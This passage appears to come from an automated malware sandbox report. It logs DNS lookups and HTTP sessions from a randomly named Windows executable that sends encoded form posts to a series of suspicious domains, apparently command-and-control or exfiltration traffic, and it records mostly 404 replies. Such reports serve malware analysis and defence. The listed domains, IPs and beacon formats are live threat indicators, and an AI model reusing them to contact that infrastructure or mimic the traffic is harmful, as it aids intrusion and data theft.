                                                            Nov 29, 2024 15:12:07.627948046 CET192.168.2.41.1.1.10x1f73Standard query (0)www.aballanet.catA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:12:23.678281069 CET192.168.2.41.1.1.10x68b5Standard query (0)www.madhf.techA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:12:24.670898914 CET192.168.2.41.1.1.10x68b5Standard query (0)www.madhf.techA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:12:25.671030045 CET192.168.2.41.1.1.10x68b5Standard query (0)www.madhf.techA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:12:41.143053055 CET192.168.2.41.1.1.10xa8b7Standard query (0)www.canadavinreport.siteA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:12:56.166682005 CET192.168.2.41.1.1.10xcba0Standard query (0)www.yunlekeji.topA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:12:57.170994043 CET192.168.2.41.1.1.10xcba0Standard query (0)www.yunlekeji.topA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:15.221520901 CET192.168.2.41.1.1.10x1c67Standard query (0)www.logidant.xyzA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:30.418087006 CET192.168.2.41.1.1.10xc472Standard query (0)www.laohub10.netA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:31.421212912 CET192.168.2.41.1.1.10xc472Standard query (0)www.laohub10.netA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:46.189975977 CET192.168.2.41.1.1.10x826cStandard query (0)www.zkdamdjj.shopA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:14:01.815536976 CET192.168.2.41.1.1.10x8f36Standard query (0)www.tals.xyzA (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:14:16.865215063 CET192.168.2.41.1.1.10xd1c0Standard query (0)www.brightvision.websiteA (IP address)IN (0x0001)false

                                                            DNS Answers

                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                            Nov 29, 2024 15:11:51.066225052 CET1.1.1.1192.168.2.40x855fNo error (0)www.izmirescortg.xyz172.67.186.192A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:11:51.066225052 CET1.1.1.1192.168.2.40x855fNo error (0)www.izmirescortg.xyz104.21.36.62A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:12:08.440308094 CET1.1.1.1192.168.2.40x1f73No error (0)www.aballanet.cataballanet.catCNAME (Canonical name)IN (0x0001)false
                                                            Nov 29, 2024 15:12:08.440308094 CET1.1.1.1192.168.2.40x1f73No error (0)aballanet.cat134.0.14.158A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:12:26.558633089 CET1.1.1.1192.168.2.40x68b5No error (0)www.madhf.tech15.204.67.7A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:12:26.558645010 CET1.1.1.1192.168.2.40x68b5No error (0)www.madhf.tech15.204.67.7A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:12:26.558654070 CET1.1.1.1192.168.2.40x68b5No error (0)www.madhf.tech15.204.67.7A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:12:41.661559105 CET1.1.1.1192.168.2.40xa8b7No error (0)www.canadavinreport.site185.27.134.206A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:12:57.288373947 CET1.1.1.1192.168.2.40xcba0No error (0)www.yunlekeji.top106.15.109.33A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:12:57.307871103 CET1.1.1.1192.168.2.40xcba0No error (0)www.yunlekeji.top106.15.109.33A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:15.832318068 CET1.1.1.1192.168.2.40x1c67No error (0)www.logidant.xyzlogidant.xyzCNAME (Canonical name)IN (0x0001)false
                                                            Nov 29, 2024 15:13:15.832318068 CET1.1.1.1192.168.2.40x1c67No error (0)logidant.xyz45.141.156.114A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:31.464487076 CET1.1.1.1192.168.2.40xc472No error (0)www.laohub10.netr0lqcud7.nbnnn.xyzCNAME (Canonical name)IN (0x0001)false
                                                            Nov 29, 2024 15:13:31.464487076 CET1.1.1.1192.168.2.40xc472No error (0)r0lqcud7.nbnnn.xyz27.124.4.246A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:31.464487076 CET1.1.1.1192.168.2.40xc472No error (0)r0lqcud7.nbnnn.xyz202.79.161.151A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:31.464487076 CET1.1.1.1192.168.2.40xc472No error (0)r0lqcud7.nbnnn.xyz23.225.159.42A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:31.464487076 CET1.1.1.1192.168.2.40xc472No error (0)r0lqcud7.nbnnn.xyz23.225.160.132A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:31.559236050 CET1.1.1.1192.168.2.40xc472No error (0)www.laohub10.netr0lqcud7.nbnnn.xyzCNAME (Canonical name)IN (0x0001)false
                                                            Nov 29, 2024 15:13:31.559236050 CET1.1.1.1192.168.2.40xc472No error (0)r0lqcud7.nbnnn.xyz23.225.159.42A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:31.559236050 CET1.1.1.1192.168.2.40xc472No error (0)r0lqcud7.nbnnn.xyz202.79.161.151A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:31.559236050 CET1.1.1.1192.168.2.40xc472No error (0)r0lqcud7.nbnnn.xyz23.225.160.132A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:31.559236050 CET1.1.1.1192.168.2.40xc472No error (0)r0lqcud7.nbnnn.xyz27.124.4.246A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:46.566554070 CET1.1.1.1192.168.2.40x826cNo error (0)www.zkdamdjj.shop104.21.40.167A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:13:46.566554070 CET1.1.1.1192.168.2.40x826cNo error (0)www.zkdamdjj.shop172.67.187.114A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:14:02.423093081 CET1.1.1.1192.168.2.40x8f36No error (0)www.tals.xyz13.248.169.48A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:14:02.423093081 CET1.1.1.1192.168.2.40x8f36No error (0)www.tals.xyz76.223.54.146A (IP address)IN (0x0001)false
                                                            Nov 29, 2024 15:14:17.284111977 CET1.1.1.1192.168.2.40xd1c0No error (0)www.brightvision.website203.161.42.73A (IP address)IN (0x0001)false

                                                            HTTP Request Dependency Graph

                                                            • www.izmirescortg.xyz
                                                            • www.aballanet.cat
                                                            • www.madhf.tech
                                                            • www.canadavinreport.site
                                                            • www.yunlekeji.top
                                                            • www.logidant.xyz
                                                            • www.laohub10.net
                                                            • www.zkdamdjj.shop
                                                            • www.tals.xyz
                                                            • www.brightvision.website

                                                            HTTP Packets

                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            0192.168.2.449736172.67.186.192801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:11:51.201607943 CET367OUTGET /lnl7/?cBL4=dBU4KtqPg&XHa8pH8=kAPJ1zL1a1XedmcoetGOcXX+BQ0sya6JbBGKYGigv+9peDDnEk+ogR7nF5sJltA40tggf7QxXQcZwaMcwHfgZSqhyZMy+6OBPTB2cT6zQPdPsX8z060ybXY= HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Connection: close
                                                            Host: www.izmirescortg.xyz
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Nov 29, 2024 15:11:52.518141031 CET1132INHTTP/1.1 404 Not Found
                                                            Date: Fri, 29 Nov 2024 14:11:52 GMT
                                                            Content-Type: text/html; charset=iso-8859-1
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            CF-Cache-Status: DYNAMIC
                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RYk%2FEjUK8iRIBLcebFWnfRO6%2BHExwmCKD0THlLGIOD13O2VRzmjLLLohoV%2B0Pf55Q1jevxywXOghxK5mSAc675edZwTsvuDzOVv6rjQOuK99LYrilTn%2B%2F92j6fmpfxoNK%2FPVHYUcjw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                            Server: cloudflare
                                                            CF-RAY: 8ea3307b091c8c15-EWR
                                                            alt-svc: h3=":443"; ma=86400
                                                            server-timing: cfL4;desc="?proto=TCP&rtt=2011&min_rtt=2011&rtt_var=1005&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=367&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                            Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a
                                                            Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            1192.168.2.449737134.0.14.158801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:12:08.645925045 CET632OUTPOST /6xrr/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 204
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.aballanet.cat
                                                            Origin: http://www.aballanet.cat
                                                            Referer: http://www.aballanet.cat/6xrr/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 4b 7a 68 67 58 51 68 42 2f 49 47 6c 34 6c 45 42 70 41 51 43 7a 4d 39 54 61 38 62 70 39 76 31 41 32 58 50 77 33 38 6e 73 4f 45 64 35 44 34 44 63 63 41 54 62 45 6d 53 62 4b 45 6e 72 45 32 49 4e 39 36 43 68 55 58 49 4f 41 62 51 74 47 71 46 46 61 75 65 52 65 4c 36 70 34 52 6f 57 6a 4a 5a 35 39 34 58 70 33 4c 2f 41 2f 32 70 37 39 4d 34 2f 54 5a 6f 50 64 7a 6c 43 57 76 71 37 6a 59 2f 41 36 76 70 31 4b 59 5a 56 36 67 4d 52 69 67 6a 5a 50 48 43 4d 61 30 52 72 76 39 2b 68 6d 5a 4d 52 34 43 58 30 62 58 4b 50 4f 51 69 4f 76 45 2f 2b 63 7a 65 52 43 44 6b 78 67 45 41 73 51 41 36 75 68 41 3d 3d
                                                            Data Ascii: XHa8pH8=KzhgXQhB/IGl4lEBpAQCzM9Ta8bp9v1A2XPw38nsOEd5D4DccATbEmSbKEnrE2IN96ChUXIOAbQtGqFFaueReL6p4RoWjJZ594Xp3L/A/2p79M4/TZoPdzlCWvq7jY/A6vp1KYZV6gMRigjZPHCMa0Rrv9+hmZMR4CX0bXKPOQiOvE/+czeRCDkxgEAsQA6uhA==
                                                            Nov 29, 2024 15:12:10.161659956 CET1236INHTTP/1.1 404 Not Found
                                                            Date: Fri, 29 Nov 2024 14:12:09 GMT
                                                            Server: Apache
                                                            Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                            Cache-Control: no-cache, must-revalidate, max-age=0
                                                            Link: <https://aballanet.cat/wp-json/>; rel="https://api.w.org/"
                                                            Upgrade: h2,h2c
                                                            Connection: Upgrade, close
                                                            Transfer-Encoding: chunked
                                                            Content-Type: text/html; charset=UTF-8
                                                            Data Raw: 31 34 62 64 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 61 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 c3 a0 67 69 6e 61 20 6e 6f 20 74 72 6f 62 61 64 61 20 2d 20 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 2c 20 41 72 71 75 69 74 65 63 74 6f 20 44 6f 63 74 6f 72 20 55 50 43 2c 20 74 72 61 79 65 63 74 6f 72 69 61 2c 20 74 65 73 69 73 20 64 65 20 65 73 74 75 64 69 6f 2c 20 70 75 62 6c 69 63 61 63 69 6f 6e 65 73 20 64 65 20 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 2c 20 4c 61 20 63 61 73 61 20 61 20 63 75 61 74 72 6f 20 76 69 65 6e 74 6f 73 20 65 6e 20 6c 61 20 [TRUNCATED]
                                                            Data Ascii: 14bd<!doctype html><html lang="ca" class="no-js"> <head> <meta charset="UTF-8"> <title>Pgina no trobada - Albert Aballanet</title> <meta name="keywords" content="Albert Aballanet, Arquitecto Doctor UPC, trayectoria, tesis de estudio, publicaciones de Albert Aballanet, La casa a cuatro vientos en la Bonanova"> <link href="//www.google-analytics.com" rel="dns-prefetch"> <link href="http://aballanet.cat/wp-content/themes/rwd-theme/img/icons/touch.png" rel="apple-touch-icon-precomposed"> <link rel="alternate" type="application/rss+xml" title="Albert Aballanet" href="https://aballanet.cat/feed/" /> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="Arquitecte Doctor UP
                                                            Nov 29, 2024 15:12:10.161694050 CET1236INData Raw: 43 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 09 3c 73 74 79 6c 65 3e 69 6d 67 3a 69 73 28 5b 73 69
                                                            Data Ascii: C"> <meta name='robots' content='noindex, follow' /><style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style>... This site is optimized with the Yoast SEO plugin v23.1 - https://yoa
                                                            Nov 29, 2024 15:12:10.161705971 CET1236INData Raw: 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 35 2e 30 2e 33 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77
                                                            Data Ascii: .w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/aballanet.cat\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.7.1"}};
                                                            Nov 29, 2024 15:12:10.161798000 CET1236INData Raw: 75 32 30 30 64 5c 75 32 62 31 62 22 2c 22 5c 75 64 38 33 64 5c 75 64 63 32 36 5c 75 32 30 30 62 5c 75 32 62 31 62 22 29 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 22 75 6e 64 65 66 69 6e
                                                            Data Ascii: u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!
                                                            Nov 29, 2024 15:12:10.161809921 CET1236INData Raw: 77 70 54 65 73 74 45 6d 6f 6a 69 53 75 70 70 6f 72 74 73 22 7d 29 3b 72 65 74 75 72 6e 20 76 6f 69 64 28 61 2e 6f 6e 6d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 28 6e 3d 65 2e 64 61 74 61 29 2c 61 2e 74 65 72 6d 69 6e 61 74 65
                                                            Data Ascii: wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t
                                                            Nov 29, 2024 15:12:10.161819935 CET1236INData Raw: 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 77 70 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 61 62 61 6c 6c 61 6e 65 74 2e 63 61 74 2f 77 70 2d 69
                                                            Data Ascii: ' /><link rel='stylesheet' id='wp-components-css' href='http://aballanet.cat/wp-includes/css/dist/components/style.min.css?ver=6.7.1' media='all' /><link rel='stylesheet' id='wp-preferences-css' href='http://aballanet.cat/wp-includes/css/dis
                                                            Nov 29, 2024 15:12:10.161959887 CET1236INData Raw: 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e 36 36 37 65 6d 20 2b 20 32 70 78 29 20 63 61 6c 63 28 31 2e 33 33 33 65 6d 20 2b 20 32 70 78 29 3b 66 6f 6e 74 2d 73 69
                                                            Data Ascii: w:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-inline-css' type='text/css'>:root{--wp--
                                                            Nov 29, 2024 15:12:10.161972046 CET1236INData Raw: 65 67 2c 72 67 62 28 31 32 32 2c 32 32 30 2c 31 38 30 29 20 30 25 2c 72 67 62 28 30 2c 32 30 38 2c 31 33 30 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64
                                                            Data Ascii: eg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red:
                                                            Nov 29, 2024 15:12:10.161978006 CET160INData Raw: 64 6e 69 67 68 74 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 2c 33 2c 31 32 39 29 20 30 25 2c 72 67 62 28 34 30 2c 31 31 36 2c 32 35 32 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d
                                                            Data Ascii: dnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--fo
                                                            Nov 29, 2024 15:12:10.161987066 CET1236INData Raw: 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 3a 20 33 36 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 78 2d 6c 61 72 67 65 3a 20 34 32 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d
                                                            Data Ascii: nt-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            2192.168.2.449740134.0.14.158801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:12:11.309338093 CET652OUTPOST /6xrr/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 224
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.aballanet.cat
                                                            Origin: http://www.aballanet.cat
                                                            Referer: http://www.aballanet.cat/6xrr/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 4b 7a 68 67 58 51 68 42 2f 49 47 6c 36 46 55 42 79 6d 59 43 31 73 39 51 56 63 62 70 33 50 31 4d 32 58 4c 77 33 39 7a 61 4f 32 35 35 47 70 7a 63 4f 31 2f 62 48 6d 53 62 65 30 6e 75 4b 57 4a 44 39 36 48 53 55 57 6b 4f 41 62 55 74 47 6f 4e 46 61 5a 79 65 66 62 36 72 6a 68 6f 55 70 70 5a 35 39 34 58 70 33 4b 61 64 2f 32 78 37 39 63 49 2f 54 39 31 39 44 6a 6c 42 47 2f 71 37 6e 59 2f 45 36 76 70 62 4b 5a 46 76 36 69 30 52 69 6b 6e 5a 4f 57 43 4c 54 30 52 79 77 74 2f 6b 6d 59 34 55 34 52 79 55 51 48 71 56 44 54 37 75 75 43 79 6b 4e 43 2f 47 51 44 41 43 39 44 4a 59 64 44 48 6e 36 4f 69 6c 34 54 34 52 65 6d 7a 79 39 6f 7a 5a 7a 67 47 78 65 2b 51 3d
                                                            Data Ascii: XHa8pH8=KzhgXQhB/IGl6FUBymYC1s9QVcbp3P1M2XLw39zaO255GpzcO1/bHmSbe0nuKWJD96HSUWkOAbUtGoNFaZyefb6rjhoUppZ594Xp3Kad/2x79cI/T919DjlBG/q7nY/E6vpbKZFv6i0RiknZOWCLT0Rywt/kmY4U4RyUQHqVDT7uuCykNC/GQDAC9DJYdDHn6Oil4T4Remzy9ozZzgGxe+Q=
                                                            Nov 29, 2024 15:12:12.876895905 CET1236INHTTP/1.1 404 Not Found
                                                            Date: Fri, 29 Nov 2024 14:12:12 GMT
                                                            Server: Apache
                                                            Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                            Cache-Control: no-cache, must-revalidate, max-age=0
                                                            Link: <https://aballanet.cat/wp-json/>; rel="https://api.w.org/"
                                                            Upgrade: h2,h2c
                                                            Connection: Upgrade, close
                                                            Transfer-Encoding: chunked
                                                            Content-Type: text/html; charset=UTF-8
                                                            Data Raw: 31 34 62 64 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 61 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 c3 a0 67 69 6e 61 20 6e 6f 20 74 72 6f 62 61 64 61 20 2d 20 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 2c 20 41 72 71 75 69 74 65 63 74 6f 20 44 6f 63 74 6f 72 20 55 50 43 2c 20 74 72 61 79 65 63 74 6f 72 69 61 2c 20 74 65 73 69 73 20 64 65 20 65 73 74 75 64 69 6f 2c 20 70 75 62 6c 69 63 61 63 69 6f 6e 65 73 20 64 65 20 41 6c 62 65 72 74 20 41 62 61 6c 6c 61 6e 65 74 2c 20 4c 61 20 63 61 73 61 20 61 20 63 75 61 74 72 6f 20 76 69 65 6e 74 6f 73 20 65 6e 20 6c 61 20 [TRUNCATED]
                                                            Data Ascii: 14bd<!doctype html><html lang="ca" class="no-js"> <head> <meta charset="UTF-8"> <title>Pgina no trobada - Albert Aballanet</title> <meta name="keywords" content="Albert Aballanet, Arquitecto Doctor UPC, trayectoria, tesis de estudio, publicaciones de Albert Aballanet, La casa a cuatro vientos en la Bonanova"> <link href="//www.google-analytics.com" rel="dns-prefetch"> <link href="http://aballanet.cat/wp-content/themes/rwd-theme/img/icons/touch.png" rel="apple-touch-icon-precomposed"> <link rel="alternate" type="application/rss+xml" title="Albert Aballanet" href="https://aballanet.cat/feed/" /> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="Arquitecte Doctor UP
                                                            Nov 29, 2024 15:12:12.876979113 CET1236INData Raw: 43 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 09 3c 73 74 79 6c 65 3e 69 6d 67 3a 69 73 28 5b 73 69
                                                            Data Ascii: C"> <meta name='robots' content='noindex, follow' /><style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style>... This site is optimized with the Yoast SEO plugin v23.1 - https://yoa
                                                            Nov 29, 2024 15:12:12.876991987 CET1236INData Raw: 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 35 2e 30 2e 33 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77
                                                            Data Ascii: .w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/aballanet.cat\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.7.1"}};
                                                            Nov 29, 2024 15:12:12.877095938 CET1236INData Raw: 75 32 30 30 64 5c 75 32 62 31 62 22 2c 22 5c 75 64 38 33 64 5c 75 64 63 32 36 5c 75 32 30 30 62 5c 75 32 62 31 62 22 29 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 22 75 6e 64 65 66 69 6e
                                                            Data Ascii: u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!
